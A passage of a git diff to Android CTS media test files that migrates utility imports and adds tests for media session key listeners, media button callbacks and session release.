+        private RouteInfo mRemovedRoute;
+        private RouteInfo mChangedRoute;
+        private RouteInfo mGroupedRoute;
+        private RouteInfo mUngroupedRoute;
+        private RouteInfo mVolumeChangedRoute;
+        private RouteGroup mGroup;
+        private int mRouteIndexInGroup = -1;
+
+        public void reset() {
+            mOnRouteSelectedCalled = false;
+            mOnRouteUnselectedCalled = false;
+            mOnRouteAddedCalled = false;
+            mOnRouteRemovedCalled = false;
+            mOnRouteChangedCalled = false;
+            mOnRouteGroupedCalled = false;
+            mOnRouteUngroupedCalled = false;
+            mOnRouteVolumeChangedCalled = false;
+
+            mSelectedRoute = null;
+            mUnselectedRoute = null;
+            mAddedRoute = null;
+            mRemovedRoute = null;
+            mChangedRoute = null;
+            mGroupedRoute = null;
+            mUngroupedRoute = null;
+            mVolumeChangedRoute = null;
+            mGroup = null;
+            mRouteIndexInGroup = -1;
+        }
+
+        @Override
+        public void onRouteSelected(MediaRouter router, int type, RouteInfo info) {
+            mOnRouteSelectedCalled = true;
+            mSelectedRoute = info;
+        }
+
+        @Override
+        public void onRouteUnselected(MediaRouter router, int type, RouteInfo info) {
+            mOnRouteUnselectedCalled = true;
+            mUnselectedRoute = info;
+        }
+
+        @Override
+        public void onRouteAdded(MediaRouter router, RouteInfo info) {
+            mOnRouteAddedCalled = true;
+            mAddedRoute = info;
+        }
+
+        @Override
+        public void onRouteRemoved(MediaRouter router, RouteInfo info) {
+            mOnRouteRemovedCalled = true;
+            mRemovedRoute = info;
+        }
+
+        @Override
+        public void onRouteChanged(MediaRouter router, RouteInfo info) {
+            mOnRouteChangedCalled = true;
+            mChangedRoute = info;
+        }
+
+        @Override
+        public void onRouteGrouped(MediaRouter router, RouteInfo info, RouteGroup group,
+                int index) {
+            mOnRouteGroupedCalled = true;
+            mGroupedRoute = info;
+            mGroup = group;
+            mRouteIndexInGroup = index;
+        }
+
+        @Override
+        public void onRouteUngrouped(MediaRouter router, RouteInfo info, RouteGroup group) {
+            mOnRouteUngroupedCalled = true;
+            mUngroupedRoute = info;
+            mGroup = group;
+        }
+
+        @Override
+        public void onRouteVolumeChanged(MediaRouter router, RouteInfo info) {
+            mOnRouteVolumeChangedCalled = true;
+            mVolumeChangedRoute = info;
+        }
     }
 }
diff --git a/tests/tests/media/src/android/media/cts/MediaScannerConnectionTest.java b/tests/tests/media/src/android/media/cts/MediaScannerConnectionTest.java
index 952e03f..2bd699f 100644
--- a/tests/tests/media/src/android/media/cts/MediaScannerConnectionTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaScannerConnectionTest.java
@@ -21,14 +21,15 @@
 
 import android.content.ComponentName;
 import android.content.Context;
-import android.cts.util.FileCopyHelper;
-import android.cts.util.PollingCheck;
 import android.media.MediaScannerConnection;
 import android.media.MediaScannerConnection.MediaScannerConnectionClient;
 import android.net.Uri;
 import android.os.IBinder;
 import android.test.AndroidTestCase;
 
+import com.android.compatibility.common.util.FileCopyHelper;
+import com.android.compatibility.common.util.PollingCheck;
+
 import java.io.File;
 import java.io.FileOutputStream;
 import java.io.InputStream;
diff --git a/tests/tests/media/src/android/media/cts/MediaScannerTest.java b/tests/tests/media/src/android/media/cts/MediaScannerTest.java
index ee76aa2..137b7cf 100644
--- a/tests/tests/media/src/android/media/cts/MediaScannerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaScannerTest.java
@@ -26,14 +26,14 @@
 import android.content.Intent;
 import android.content.IntentFilter;
 import android.content.res.AssetFileDescriptor;
-import android.cts.util.FileCopyHelper;
-import android.cts.util.PollingCheck;
 import android.database.Cursor;
 import android.media.MediaMetadataRetriever;
 import android.media.MediaScannerConnection;
 import android.media.MediaScannerConnection.MediaScannerConnectionClient;
 import android.mtp.MtpConstants;
 import android.net.Uri;
+import android.support.test.filters.SmallTest;
+import android.platform.test.annotations.RequiresDevice;
 import android.os.Bundle;
 import android.os.Environment;
 import android.os.IBinder;
@@ -42,9 +42,14 @@
 import android.test.AndroidTestCase;
 import android.util.Log;
 
+import com.android.compatibility.common.util.FileCopyHelper;
+import com.android.compatibility.common.util.PollingCheck;
+
 import java.io.File;
 import java.io.IOException;
 
+@SmallTest
+@RequiresDevice
 public class MediaScannerTest extends AndroidTestCase {
 
     private static final String MEDIA_TYPE = "audio/mpeg";
diff --git a/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java b/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java
index b10d9df..2bf24b6 100644
--- a/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java
@@ -15,15 +15,34 @@
  */
 package android.media.cts;
 
+import com.android.compatibility.common.util.SystemUtil;
+
 import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.media.AudioManager;
 import android.media.session.MediaController;
+import android.media.session.MediaSession;
 import android.media.session.MediaSessionManager;
+import android.media.session.PlaybackState;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.Looper;
 import android.test.InstrumentationTestCase;
 import android.test.UiThreadTest;
+import android.view.KeyEvent;
 
+import java.io.IOException;
+import java.util.ArrayList;
 import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
 
 public class MediaSessionManagerTest extends InstrumentationTestCase {
+    private static final String TAG = "MediaSessionManagerTest";
+    private static final int TIMEOUT_MS = 3000;
+    private static final int WAIT_MS = 500;
+
     private MediaSessionManager mSessionManager;
 
     @Override
@@ -69,4 +88,176 @@
         // TODO enable a notification listener, test again, disable, verify
         // updates stopped
     }
+
+    private void assertKeyEventEquals(KeyEvent lhs, int keyCode, int action, int repeatCount) {
+        assertTrue(lhs.getKeyCode() == keyCode
+                && lhs.getAction() == action
+                && lhs.getRepeatCount() == repeatCount);
+    }
+
+    private void injectInputEvent(int keyCode, boolean longPress) throws IOException {
+        // Injecting key with instrumentation requires a window/view, but we don't have it.
+        // Inject key event through the adb commend to workaround.
+        final String command = "input keyevent " + (longPress ? "--longpress " : "") + keyCode;
+        SystemUtil.runShellCommand(getInstrumentation(), command);
+    }
+
+    public void testSetOnVolumeKeyLongPressListener() throws Exception {
+        Context context = getInstrumentation().getTargetContext();
+        if (context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK)) {
+            // Skip this test on TV platform because the PhoneWindowManager dispatches volume key
+            // events directly to the audio service to change the system volume.
+            return;
+        }
+
+        HandlerThread handlerThread = new HandlerThread(TAG);
+        handlerThread.start();
+        Handler handler = new Handler(handlerThread.getLooper());
+
+        // Ensure that the listener is called for long-press.
+        VolumeKeyLongPressListener listener = new VolumeKeyLongPressListener(3, handler);
+        mSessionManager.setOnVolumeKeyLongPressListener(listener, handler);
+        injectInputEvent(KeyEvent.KEYCODE_VOLUME_DOWN, true);
+        assertTrue(listener.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertEquals(listener.mKeyEvents.size(), 3);
+        assertKeyEventEquals(listener.mKeyEvents.get(0),
+                KeyEvent.KEYCODE_VOLUME_DOWN, KeyEvent.ACTION_DOWN, 0);
+        assertKeyEventEquals(listener.mKeyEvents.get(1),
+                KeyEvent.KEYCODE_VOLUME_DOWN, KeyEvent.ACTION_DOWN, 1);
+        assertKeyEventEquals(listener.mKeyEvents.get(2),
+                KeyEvent.KEYCODE_VOLUME_DOWN, KeyEvent.ACTION_UP, 0);
+
+        // Ensure the the listener isn't called for short-press.
+        listener = new VolumeKeyLongPressListener(1, handler);
+        mSessionManager.setOnVolumeKeyLongPressListener(listener, handler);
+        injectInputEvent(KeyEvent.KEYCODE_VOLUME_DOWN, false);
+        assertFalse(listener.mCountDownLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
+        assertEquals(listener.mKeyEvents.size(), 0);
+
+        // Ensure that the listener isn't called anymore.
+        mSessionManager.setOnVolumeKeyLongPressListener(null, handler);
+        injectInputEvent(KeyEvent.KEYCODE_VOLUME_DOWN, true);
+        assertFalse(listener.mCountDownLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
+        assertEquals(listener.mKeyEvents.size(), 0);
+    }
+
+    public void testSetOnMediaKeyListener() throws Exception {
+        HandlerThread handlerThread = new HandlerThread(TAG);
+        handlerThread.start();
+        Handler handler = new Handler(handlerThread.getLooper());
+
+        MediaSessionCallback callback = new MediaSessionCallback(2);
+        MediaSession session = new MediaSession(getInstrumentation().getTargetContext(), TAG);
+        session.setFlags(MediaSession.FLAG_HANDLES_MEDIA_BUTTONS
+                | MediaSession.FLAG_HANDLES_TRANSPORT_CONTROLS);
+        session.setCallback(callback, handler);
+        PlaybackState state = new PlaybackState.Builder()
+                .setState(PlaybackState.STATE_PLAYING, 0, 1.0f).build();
+        // Fake the media session service so this session can take the media key events.
+        session.setPlaybackState(state);
+        session.setActive(true);
+
+        // A media playback is also needed to receive media key events.
+        Utils.assertMediaPlaybackStarted(getInstrumentation().getTargetContext());
+
+        // Ensure that the listener is called for media key event,
+        // and any other media sessions don't get the key.
+        MediaKeyListener listener = new MediaKeyListener(2, true, handler);
+        mSessionManager.setOnMediaKeyListener(listener, handler);
+        injectInputEvent(KeyEvent.KEYCODE_HEADSETHOOK, false);
+        assertTrue(listener.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertEquals(listener.mKeyEvents.size(), 2);
+        assertKeyEventEquals(listener.mKeyEvents.get(0),
+                KeyEvent.KEYCODE_HEADSETHOOK, KeyEvent.ACTION_DOWN, 0);
+        assertKeyEventEquals(listener.mKeyEvents.get(1),
+                KeyEvent.KEYCODE_HEADSETHOOK, KeyEvent.ACTION_UP, 0);
+        assertFalse(callback.mCountDownLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
+        assertEquals(callback.mKeyEvents.size(), 0);
+
+        // Ensure that the listener is called for media key event,
+        // and another media session gets the key.
+        listener = new MediaKeyListener(2, false, handler);
+        mSessionManager.setOnMediaKeyListener(listener, handler);
+        injectInputEvent(KeyEvent.KEYCODE_HEADSETHOOK, false);
+        assertTrue(listener.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertEquals(listener.mKeyEvents.size(), 2);
+        assertKeyEventEquals(listener.mKeyEvents.get(0),
+                KeyEvent.KEYCODE_HEADSETHOOK, KeyEvent.ACTION_DOWN, 0);
+        assertKeyEventEquals(listener.mKeyEvents.get(1),
+                KeyEvent.KEYCODE_HEADSETHOOK, KeyEvent.ACTION_UP, 0);
+        assertTrue(callback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertEquals(callback.mKeyEvents.size(), 2);
+        assertKeyEventEquals(callback.mKeyEvents.get(0),
+                KeyEvent.KEYCODE_HEADSETHOOK, KeyEvent.ACTION_DOWN, 0);
+        assertKeyEventEquals(callback.mKeyEvents.get(1),
+                KeyEvent.KEYCODE_HEADSETHOOK, KeyEvent.ACTION_UP, 0);
+
+        // Ensure that the listener isn't called anymore.
+        listener = new MediaKeyListener(1, true, handler);
+        mSessionManager.setOnMediaKeyListener(listener, handler);
+        mSessionManager.setOnMediaKeyListener(null, handler);
+        injectInputEvent(KeyEvent.KEYCODE_HEADSETHOOK, false);
+        assertFalse(listener.mCountDownLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
+        assertEquals(listener.mKeyEvents.size(), 0);
+    }
+
+    private class VolumeKeyLongPressListener
+            implements MediaSessionManager.OnVolumeKeyLongPressListener {
+        private final List<KeyEvent> mKeyEvents = new ArrayList<>();
+        private final CountDownLatch mCountDownLatch;
+        private final Handler mHandler;
+
+        public VolumeKeyLongPressListener(int count, Handler handler) {
+            mCountDownLatch = new CountDownLatch(count);
+            mHandler = handler;
+        }
+
+        @Override
+        public void onVolumeKeyLongPress(KeyEvent event) {
+            mKeyEvents.add(event);
+            // Ensure the listener is called on the thread.
+            assertEquals(mHandler.getLooper(), Looper.myLooper());
+            mCountDownLatch.countDown();
+        }
+    }
+
+    private class MediaKeyListener implements MediaSessionManager.OnMediaKeyListener {
+        private final CountDownLatch mCountDownLatch;
+        private final boolean mConsume;
+        private final Handler mHandler;
+        private final List<KeyEvent> mKeyEvents = new ArrayList<>();
+
+        public MediaKeyListener(int count, boolean consume, Handler handler) {
+            mCountDownLatch = new CountDownLatch(count);
+            mConsume = consume;
+            mHandler = handler;
+        }
+
+        @Override
+        public boolean onMediaKey(KeyEvent event) {
+            mKeyEvents.add(event);
+            // Ensure the listener is called on the thread.
+            assertEquals(mHandler.getLooper(), Looper.myLooper());
+            mCountDownLatch.countDown();
+            return mConsume;
+        }
+    }
+
+    private class MediaSessionCallback extends MediaSession.Callback {
+        private final CountDownLatch mCountDownLatch;
+        private final List<KeyEvent> mKeyEvents = new ArrayList<>();
+
+        private MediaSessionCallback(int count) {
+            mCountDownLatch = new CountDownLatch(count);
+        }
+
+        public boolean onMediaButtonEvent(Intent mediaButtonIntent) {
+            KeyEvent event = (KeyEvent) mediaButtonIntent.getParcelableExtra(
+                    Intent.EXTRA_KEY_EVENT);
+            assertNotNull(event);
+            mKeyEvents.add(event);
+            mCountDownLatch.countDown();
+            return true;
+        }
+    }
 }
diff --git a/tests/tests/media/src/android/media/cts/MediaSessionTest.java b/tests/tests/media/src/android/media/cts/MediaSessionTest.java
index 3ebe6e4..58a643d 100644
--- a/tests/tests/media/src/android/media/cts/MediaSessionTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaSessionTest.java
@@ -16,6 +16,7 @@
 package android.media.cts;
 
 import android.app.PendingIntent;
+import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
 import android.media.AudioAttributes;
@@ -31,9 +32,9 @@
 import android.os.Bundle;
 import android.os.Handler;
 import android.os.Looper;
-import android.os.Message;
 import android.os.Parcel;
 import android.test.AndroidTestCase;
+import android.view.KeyEvent;
 
 import java.util.ArrayList;
 import java.util.List;
@@ -111,6 +112,7 @@
     public void testConfigureSession() throws Exception {
         MediaController controller = mSession.getController();
         controller.registerCallback(mCallback, mHandler);
+        final MediaController.Callback callback = (MediaController.Callback) mCallback;
 
         synchronized (mWaitLock) {
             // test setExtras
@@ -120,6 +122,8 @@
             mSession.setExtras(extras);
             mWaitLock.wait(TIME_OUT_MS);
             assertTrue(mCallback.mOnExtraChangedCalled);
+            // just call the callback once directly so it's marked as tested
+            callback.onExtrasChanged(mCallback.mExtras);
 
             Bundle extrasOut = mCallback.mExtras;
             assertNotNull(extrasOut);
@@ -140,6 +144,8 @@
             mSession.setMetadata(metadata);
             mWaitLock.wait(TIME_OUT_MS);
             assertTrue(mCallback.mOnMetadataChangedCalled);
+            // just call the callback once directly so it's marked as tested
+            callback.onMetadataChanged(mCallback.mMediaMetadata);
 
             MediaMetadata metadataOut = mCallback.mMediaMetadata;
             assertNotNull(metadataOut);
@@ -155,6 +161,8 @@
             mSession.setPlaybackState(state);
             mWaitLock.wait(TIME_OUT_MS);
             assertTrue(mCallback.mOnPlaybackStateChangedCalled);
+            // just call the callback once directly so it's marked as tested
+            callback.onPlaybackStateChanged(mCallback.mPlaybackState);
 
             PlaybackState stateOut = mCallback.mPlaybackState;
             assertNotNull(stateOut);
@@ -173,6 +181,8 @@
             mSession.setQueue(queue);
             mWaitLock.wait(TIME_OUT_MS);
             assertTrue(mCallback.mOnQueueChangedCalled);
+            // just call the callback once directly so it's marked as tested
+            callback.onQueueChanged(mCallback.mQueue);
 
             mSession.setQueueTitle(TEST_VALUE);
             mWaitLock.wait(TIME_OUT_MS);
@@ -192,10 +202,14 @@
             mSession.setQueue(null);
             mWaitLock.wait(TIME_OUT_MS);
             assertTrue(mCallback.mOnQueueChangedCalled);
+            // just call the callback once directly so it's marked as tested
+            callback.onQueueChanged(mCallback.mQueue);
 
             mSession.setQueueTitle(null);
             mWaitLock.wait(TIME_OUT_MS);
             assertTrue(mCallback.mOnQueueTitleChangedCalled);
+            // just call the callback once directly so it's marked as tested
+            callback.onQueueTitleChanged(mCallback.mTitle);
 
             assertNull(mCallback.mTitle);
             assertNull(mCallback.mQueue);
@@ -220,17 +234,21 @@
             assertTrue(mCallback.mOnSessionEventCalled);
             assertEquals(TEST_SESSION_EVENT, mCallback.mEvent);
             assertEquals(TEST_VALUE, mCallback.mExtras.getString(TEST_KEY));
+            // just call the callback once directly so it's marked as tested
+            callback.onSessionEvent(mCallback.mEvent, mCallback.mExtras);
 
             // test release
             mCallback.resetLocked();
             mSession.release();
             mWaitLock.wait(TIME_OUT_MS);
             assertTrue(mCallback.mOnSessionDestroyedCalled);
+            // just call the callback once directly so it's marked as tested
+            callback.onSessionDestroyed();
         }
     }
 
     /**
-     * Tests for setPlaybackToLocal and setPlaybackToRemote.
+     * Test {@link MediaSession#setPlaybackToLocal} and {@link MediaSession#setPlaybackToRemote}.
      */
     public void testPlaybackToLocalAndRemote() throws Exception {
         MediaController controller = mSession.getController();
@@ -291,7 +309,114 @@
     }
 
     /**
-     * Tests MediaSession.QueueItem.
+     * Test {@link MediaSession.Callback#onMediaButtonEvent}.
+     */
+    public void testCallbackOnMediaButtonEvent() throws Exception {
+        MediaSessionCallback sessionCallback = new MediaSessionCallback();
+        mSession.setCallback(sessionCallback, new Handler(Looper.getMainLooper()));
+        mSession.setFlags(MediaSession.FLAG_HANDLES_MEDIA_BUTTONS);
+        mSession.setActive(true);
+
+        Intent mediaButtonIntent = new Intent(Intent.ACTION_MEDIA_BUTTON).setComponent(
+                new ComponentName(getContext(), getContext().getClass()));
+        PendingIntent pi = PendingIntent.getBroadcast(getContext(), 0, mediaButtonIntent, 0);
+        mSession.setMediaButtonReceiver(pi);
+
+        long supportedActions = PlaybackState.ACTION_PLAY | PlaybackState.ACTION_PAUSE
+                | PlaybackState.ACTION_PLAY_PAUSE | PlaybackState.ACTION_STOP
+                | PlaybackState.ACTION_SKIP_TO_NEXT | PlaybackState.ACTION_SKIP_TO_PREVIOUS
+                | PlaybackState.ACTION_FAST_FORWARD | PlaybackState.ACTION_REWIND;
+
+        // Set state to STATE_PLAYING to get higher priority.
+        PlaybackState defaultState = new PlaybackState.Builder().setActions(supportedActions)
+                .setState(PlaybackState.STATE_PLAYING, 0L, 0.0f).build();
+        mSession.setPlaybackState(defaultState);
+
+        // A media playback is also needed to receive media key events.
+        Utils.assertMediaPlaybackStarted(getContext());
+
+        synchronized (mWaitLock) {
+            sessionCallback.reset();
+            simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY);
+            mWaitLock.wait(TIME_OUT_MS);
+            assertTrue(sessionCallback.mOnPlayCalled);
+
+            sessionCallback.reset();
+            simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PAUSE);
+            mWaitLock.wait(TIME_OUT_MS);
+            assertTrue(sessionCallback.mOnPauseCalled);
+
+            sessionCallback.reset();
+            simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_NEXT);
+            mWaitLock.wait(TIME_OUT_MS);
+            assertTrue(sessionCallback.mOnSkipToNextCalled);
+
+            sessionCallback.reset();
+            simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PREVIOUS);
+            mWaitLock.wait(TIME_OUT_MS);
+            assertTrue(sessionCallback.mOnSkipToPreviousCalled);
+
+            sessionCallback.reset();
+            simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_STOP);
+            mWaitLock.wait(TIME_OUT_MS);
+            assertTrue(sessionCallback.mOnStopCalled);
+
+            sessionCallback.reset();
+            simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_FAST_FORWARD);
+            mWaitLock.wait(TIME_OUT_MS);
+            assertTrue(sessionCallback.mOnFastForwardCalled);
+
+            sessionCallback.reset();
+            simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_REWIND);
+            mWaitLock.wait(TIME_OUT_MS);
+            assertTrue(sessionCallback.mOnRewindCalled);
+
+            // Test PLAY_PAUSE button twice.
+            // First, simulate PLAY_PAUSE button while in STATE_PAUSED.
+            sessionCallback.reset();
+            mSession.setPlaybackState(new PlaybackState.Builder().setActions(supportedActions)
+                    .setState(PlaybackState.STATE_PAUSED, 0L, 0.0f).build());
+            simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE);
+            mWaitLock.wait(TIME_OUT_MS);
+            assertTrue(sessionCallback.mOnPlayCalled);
+
+            // Next, simulate PLAY_PAUSE button while in STATE_PLAYING.
+            sessionCallback.reset();
+            mSession.setPlaybackState(new PlaybackState.Builder().setActions(supportedActions)
+                    .setState(PlaybackState.STATE_PLAYING, 0L, 0.0f).build());
+            simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE);
+            mWaitLock.wait(TIME_OUT_MS);
+            assertTrue(sessionCallback.mOnPauseCalled);
+        }
+    }
+
+    /**
+     * Test {@link MediaSession#release} doesn't crash when multiple media sessions are in the app
+     * which receives the media key events.
+     * See: b/36669550
+     */
+    public void testReleaseNoCrashWithMultipleSessions() throws Exception {
+        // Start a media playback for this app to receive media key events.
+        Utils.assertMediaPlaybackStarted(getContext());
+
+        MediaSession anotherSession = new MediaSession(getContext(), TEST_SESSION_TAG);
+        mSession.release();
+        anotherSession.release();
+
+        // Try release with the different order.
+        mSession = new MediaSession(getContext(), TEST_SESSION_TAG);
+        anotherSession = new MediaSession(getContext(), TEST_SESSION_TAG);
+        anotherSession.release();
+        mSession.release();
+    }
+
+    private void simulateMediaKeyInput(int keyCode) {
+        mAudioManager.dispatchMediaKeyEvent(new KeyEvent(KeyEvent.ACTION_DOWN, keyCode));
+        mAudioManager.dispatchMediaKeyEvent(new KeyEvent(KeyEvent.ACTION_UP, keyCode));
+    }
+
+    /**
+     * Tests {@link MediaSession.QueueItem}.
      */
     public void testQueueItem() {
         QueueItem item = new QueueItem(new MediaDescription.Builder()
@@ -299,6 +424,7 @@
         assertEquals(TEST_QUEUE_ID, item.getQueueId());
         assertEquals("media-id", item.getDescription().getMediaId());
         assertEquals("title", item.getDescription().getTitle());
+        assertEquals(0, item.describeContents());
 
         Parcel p = Parcel.obtain();
         item.writeToParcel(p, 0);
@@ -448,4 +574,80 @@
             }
         }
     }
+
+    private class MediaSessionCallback extends MediaSession.Callback {
+        private boolean mOnPlayCalled;
+        private boolean mOnPauseCalled;
+        private boolean mOnStopCalled;
+        private boolean mOnFastForwardCalled;
+        private boolean mOnRewindCalled;
+        private boolean mOnSkipToPreviousCalled;
+        private boolean mOnSkipToNextCalled;
+
+        public void reset() {
+            mOnPlayCalled = false;
+            mOnPauseCalled = false;
+            mOnStopCalled = false;
+            mOnFastForwardCalled = false;
+            mOnRewindCalled = false;
+            mOnSkipToPreviousCalled = false;
+            mOnSkipToNextCalled = false;
+        }
+
+        @Override
+        public void onPlay() {
+            synchronized (mWaitLock) {
+                mOnPlayCalled = true;
+                mWaitLock.notify();
+            }
+        }
+
+        @Override
+        public void onPause() {
+            synchronized (mWaitLock) {
+                mOnPauseCalled = true;
+                mWaitLock.notify();
+            }
+        }
+
+        @Override
+        public void onStop() {
+            synchronized (mWaitLock) {
+                mOnStopCalled = true;
+                mWaitLock.notify();
+            }
+        }
+
+        @Override
+        public void onFastForward() {
+            synchronized (mWaitLock) {
+                mOnFastForwardCalled = true;
+                mWaitLock.notify();
+            }
+        }
+
+        @Override
+        public void onRewind() {
+            synchronized (mWaitLock) {
+                mOnRewindCalled = true;
+                mWaitLock.notify();
+            }
+        }
+
+        @Override
+        public void onSkipToPrevious() {
+            synchronized (mWaitLock) {
+                mOnSkipToPreviousCalled = true;
+                mWaitLock.notify();
+            }
+        }
+
+        @Override
+        public void onSkipToNext() {
+            synchronized (mWaitLock) {
+                mOnSkipToNextCalled = true;
+                mWaitLock.notify();
+            }
+        }
+    }
 }
diff --git a/tests/tests/media/src/android/media/cts/MediaSyncTest.java b/tests/tests/media/src/android/media/cts/MediaSyncTest.java
index 08dc5ea..2adede1 100644
--- a/tests/tests/media/src/android/media/cts/MediaSyncTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaSyncTest.java
@@ -21,7 +21,6 @@
 import android.content.pm.PackageManager;
 import android.content.res.AssetFileDescriptor;
 import android.content.res.Resources;
-import android.cts.util.MediaUtils;
 import android.media.AudioFormat;
 import android.media.AudioManager;
 import android.media.AudioTrack;
@@ -41,6 +40,8 @@
 import android.view.Surface;
 import android.view.SurfaceHolder;
 
+import com.android.compatibility.common.util.MediaUtils;
+
 import java.io.IOException;
 import java.lang.Long;
 import java.lang.Math;
diff --git a/tests/tests/media/src/android/media/cts/MidiSoloTest.java b/tests/tests/media/src/android/media/cts/MidiSoloTest.java
index d198ee8..b133ed9 100644
--- a/tests/tests/media/src/android/media/cts/MidiSoloTest.java
+++ b/tests/tests/media/src/android/media/cts/MidiSoloTest.java
@@ -21,7 +21,6 @@
 
 import android.content.Context;
 import android.content.pm.PackageManager;
-import android.cts.util.CtsAndroidTestCase;
 import android.media.midi.MidiDevice;
 import android.media.midi.MidiDevice.MidiConnection;
 import android.media.midi.MidiDeviceInfo;
@@ -33,6 +32,8 @@
 import android.os.Handler;
 import android.os.Looper;
 
+import com.android.compatibility.common.util.CtsAndroidTestCase;
+
 /**
  * Test MIDI when there may be no MIDI devices available. There is not much we
  * can test without a device.
diff --git a/tests/tests/media/src/android/media/cts/NativeClearKeySystemTest.java b/tests/tests/media/src/android/media/cts/NativeClearKeySystemTest.java
index 1d4500f..16201b2 100644
--- a/tests/tests/media/src/android/media/cts/NativeClearKeySystemTest.java
+++ b/tests/tests/media/src/android/media/cts/NativeClearKeySystemTest.java
@@ -18,12 +18,13 @@
 import static org.junit.Assert.assertThat;
 import static org.junit.matchers.JUnitMatchers.containsString;
 
-import android.cts.util.MediaUtils;
 import android.net.Uri;
 import android.util.Log;
 import android.view.Surface;
 import android.view.SurfaceHolder;
 
+import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.MediaUtils;
 import com.google.android.collect.Lists;
 
 import java.nio.ByteBuffer;
@@ -94,7 +95,7 @@
 
     private boolean deviceHasMediaDrm() {
         // ClearKey is introduced after KitKat.
-        if (android.os.Build.VERSION.SDK_INT <= android.os.Build.VERSION_CODES.KITKAT) {
+        if (ApiLevelUtil.isAtMost(android.os.Build.VERSION_CODES.KITKAT)) {
             Log.i(TAG, "This test is designed to work after Android KitKat.");
             return false;
         }
@@ -176,19 +177,6 @@
             return;  // skip
         }
 
-        // set to true if modify isVersionSmaller()
-        if (false)
-            unitTestIsVersionSmaller();
-
-        // This test requires two changes in frameworks/av (go/av/1628977 and
-        // go/ag/1598174) that are in 7.1.2 and above.
-        // Version 8 and above does not need this check.
-        if (isVersionSmaller(android.os.Build.VERSION.RELEASE, "7.1.2")) {
-            Log.i(TAG, "This test requires android \"7.1.2\" or higher.");
-            Log.i(TAG, "This device is running \"" +
-                  android.os.Build.VERSION.RELEASE + "\".");
-            return; // skip
-        }
         PlaybackParams params = new PlaybackParams();
         params.surface = mActivity.getSurfaceHolder().getSurface();
         params.mimeType = mimeType;
@@ -202,16 +190,6 @@
         params.surface.release();
     }
 
-    private void unitTestIsVersionSmaller() {
-        assertTrue(isVersionSmaller("6.9", "7.1.2"));
-        assertTrue(isVersionSmaller("7.1", "7.1.2"));
-        assertTrue(isVersionSmaller("7.1.1", "7.1.2"));
-        assertTrue(isVersionSmaller("7.1.1.4", "7.1.2"));
-        assertFalse(isVersionSmaller("7.1.2", "7.1.2"));
-        assertFalse(isVersionSmaller("8.0", "7.1.2"));
-        assertFalse(isVersionSmaller("8.1.2", "7.1.2"));
-    }
-
     private ArrayList<Integer> intVersion(String version) {
         String versions[] = version.split("\\.");
 
@@ -222,31 +200,6 @@
         return versionNumbers;
     }
 
-    /**
-     * Return true if smaller, return false if great than or equal to the
-     * target version.
-     */
-    private boolean isVersionSmaller(String testVersion, String targetVersion) {
-        ArrayList<Integer> intTestVersion = intVersion(testVersion);
-        ArrayList<Integer> intTargetVersion = intVersion(targetVersion);
-
-        Iterator itr = intTestVersion.iterator();
-        for (int targetNumber : intTargetVersion) {
-            if (itr.hasNext()) {
-                int testNumber = (int) itr.next();
-                if (testNumber == targetNumber) {
-                    continue;
-                } else {
-                    return testNumber < targetNumber;
-                }
-            } else {
-                // treat test version as 0
-                return 0 != targetNumber;
-            }
-        }
-        return false;
-    }
-
     private static native boolean isCryptoSchemeSupportedNative(final byte[] uuid);
 
     private static native boolean testClearKeyPlaybackNative(final byte[] uuid,
diff --git a/tests/tests/media/src/android/media/cts/NativeDecoderTest.java b/tests/tests/media/src/android/media/cts/NativeDecoderTest.java
index 0806571..32cf661 100644
--- a/tests/tests/media/src/android/media/cts/NativeDecoderTest.java
+++ b/tests/tests/media/src/android/media/cts/NativeDecoderTest.java
@@ -20,7 +20,6 @@
 
 import android.content.res.AssetFileDescriptor;
 import android.content.res.Resources;
-import android.cts.util.MediaUtils;
 import android.media.MediaCodec;
 import android.media.MediaCodec.BufferInfo;
 import android.media.MediaCodecInfo;
@@ -35,6 +34,8 @@
 import android.view.Surface;
 import android.webkit.cts.CtsTestServer;
 
+import com.android.compatibility.common.util.MediaUtils;
+
 import java.io.BufferedInputStream;
 import java.io.ByteArrayOutputStream;
 import java.io.File;
diff --git a/tests/tests/media/src/android/media/cts/NativeEncoderTest.java b/tests/tests/media/src/android/media/cts/NativeEncoderTest.java
new file mode 100644
index 0000000..08bc8f8
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/NativeEncoderTest.java
@@ -0,0 +1,201 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
